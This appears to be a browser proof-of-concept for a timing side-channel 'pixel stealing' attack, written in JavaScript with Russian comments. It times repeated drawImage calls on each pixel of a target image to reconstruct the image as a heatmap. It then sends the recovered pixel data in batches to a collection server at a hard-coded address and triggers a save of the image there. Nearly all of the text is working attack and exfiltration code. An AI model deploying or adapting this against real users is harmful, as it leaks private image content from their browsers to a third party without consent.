python3 server.py

<script>
  let Heatmap = null
  let ScratchContext = null

  const Width = 75
  const Height = 75

  const Iters = 200
  const BATCH_SIZE = 100 // Размер пакета для отправки
  
  // Базовый URL сервера
const SERVER_URL = "http://192.168.0.26:7000"

function median(lst) {
let sorted = lst.slice(0).sort()
return sorted[Math.floor(sorted.length / 2)]
}

function zeroDelay() {
return new Promise(resolve => setTimeout(resolve, 0))
}

// Функция для отправки данных RGB на сервер через POST (индивидуальный метод)
async function sendPixelData(x, y, rgb) {
  // Отправляет данные RGB на удалённый сервер
  await fetch(`${SERVER_URL}`, {
      method: "POST",
      body: JSON.stringify({ x, y, rgb }),
      headers: { "Content-Type": "application/json" }
  })
}

// Функция для отправки пакета пикселей
async function sendPixelBatch(pixelBatch) {
  await fetch(`${SERVER_URL}/batch`, {
      method: "POST",
      body: JSON.stringify({ pixels: pixelBatch }),
      headers: { "Content-Type": "application/json" }
  });
  console.log(`Отправка пакета из ${pixelBatch.length} пикселей`);
}

// Функция для сохранения изображения на сервере
async function saveImage() {
  try {
      const response = await fetch(`${SERVER_URL}/auto-save`);
      const data = await response.json();
      
      if (response.ok) {
          displayStatus(`Изображение сохранено: ${data.path}`, true);
          // Опционально, показать сохранённое изображение
          document.getElementById('saved-image').src = `${SERVER_URL}/get-latest-image?t=${Date.now()}`;
          document.getElementById('saved-image-container').style.display = 'block';
      } else {
          displayStatus(`Ошибка: ${data.error}`, false);
      }
  } catch (error) {
      displayStatus(`Ошибка подключения: ${error.message}`, false);
  }
}

// Функция для отображения сообщений состояния
function displayStatus(message, isSuccess) {
  const statusElement = document.getElementById('status');
  statusElement.textContent = message;
  statusElement.className = isSuccess ? 'success' : 'error';
  statusElement.style.display = 'block';
  
  // Скрыть сообщение через 5 секунд
  setTimeout(() => {
      statusElement.style.display = 'none';
  }, 5000);
}

async function timePixel(image, x, y) {
let startTime = performance.now()
for (let j = 0; j < Iters; j++) {
  ScratchContext.drawImage(image, x, y, 1, 1, 0, 0, 1024, 1024)
}
/* в Chromium операции отрисовки выполняются не сразу,
   а только после остановки JavaScript-потока. мы ожидаем
   таймаут нулевой длительности, чтобы дать браузеру шанс
   выполнить отрисовку, иначе мы бы измеряли только время
   постановки всех операций в очередь. */
await zeroDelay()
let endTime = performance.now()

return endTime - startTime
}

function drawHeatmap(heatmap) {
let min = Math.min(...heatmap.map(l => Math.min(...l)))
let max = Math.max(...heatmap.map(l => Math.max(...l)))

Heatmap.clearRect(0, 0, Width, Height)

for (let x = 0; x < heatmap.length; x++) {
  for (let y = 0; y < heatmap[x].length; y++) {
    let color = Math.round(255 * (max - heatmap[x][y]) / (max - min))
    Heatmap.fillStyle = `rgb(${color}, ${color}, ${color})`
    Heatmap.fillRect(x, y, 1, 1)
  }
}
}

async function recoverImage(image) {
document.getElementById('progress-info').textContent = "Инициализация...";

/* первые несколько измерений всегда выше,
   чем нужно, потому что оптимизации интерпретатора ещё не
   вступили в силу, поэтому мы "прогреваем" интерпретатор,
   отбрасывая 5 измерений. */
for (let i = 0; i < 5; i++) {
  await timePixel(image, 0, 0)
}

let pixels = [];
let allPixelData = [];
let currentBatch = [];
const totalPixels = Width * Height;
let processedPixels = 0;

document.getElementById('progress-info').textContent = "Идёт получение...";

for (let x = 0; x < Width; x++) {
  let col = []
  for (let y = 0; y < Height; y++) {
    rgb = await timePixel(image, x, y)
    col.push(rgb)
    
    // Добавить пиксель в текущий пакет
    currentBatch.push({x, y, rgb});
    processedPixels++;
    
    // Обновить индикатор прогресса
    document.getElementById('progress-info').textContent = 
        `Прогресс: ${processedPixels}/${totalPixels} пикселей (${Math.round(processedPixels/totalPixels*100)}%)`;
    
    // Если пакет достиг предельного размера, отправить его
    if (currentBatch.length >= BATCH_SIZE) {
      await sendPixelBatch([...currentBatch]); // Копия пакета для избежания проблем со ссылками
      currentBatch = []; // Сбросить пакет
    }

    drawHeatmap(pixels.concat([col]));
  }
  pixels.push(col)
}

// Отправить последний пакет, если остались пиксели
if (currentBatch.length > 0) {
  await sendPixelBatch(currentBatch);
}

drawHeatmap(pixels)
document.getElementById('progress-info').textContent = "Получение завершено!";
document.getElementById('save-btn').disabled = false;
saveImage();
}

function init() {
ScratchContext = document.getElementById('scratch').getContext('2d')
ScratchContext.imageSmoothingEnabled = false

Heatmap = document.getElementById('heatmap').getContext('2d')
Heatmap.imageSmoothingEnabled = false

// Отключить кнопку сохранения до завершения получения
document.getElementById('save-btn').disabled = true;

recoverImage(document.getElementById('target'))
}
</script>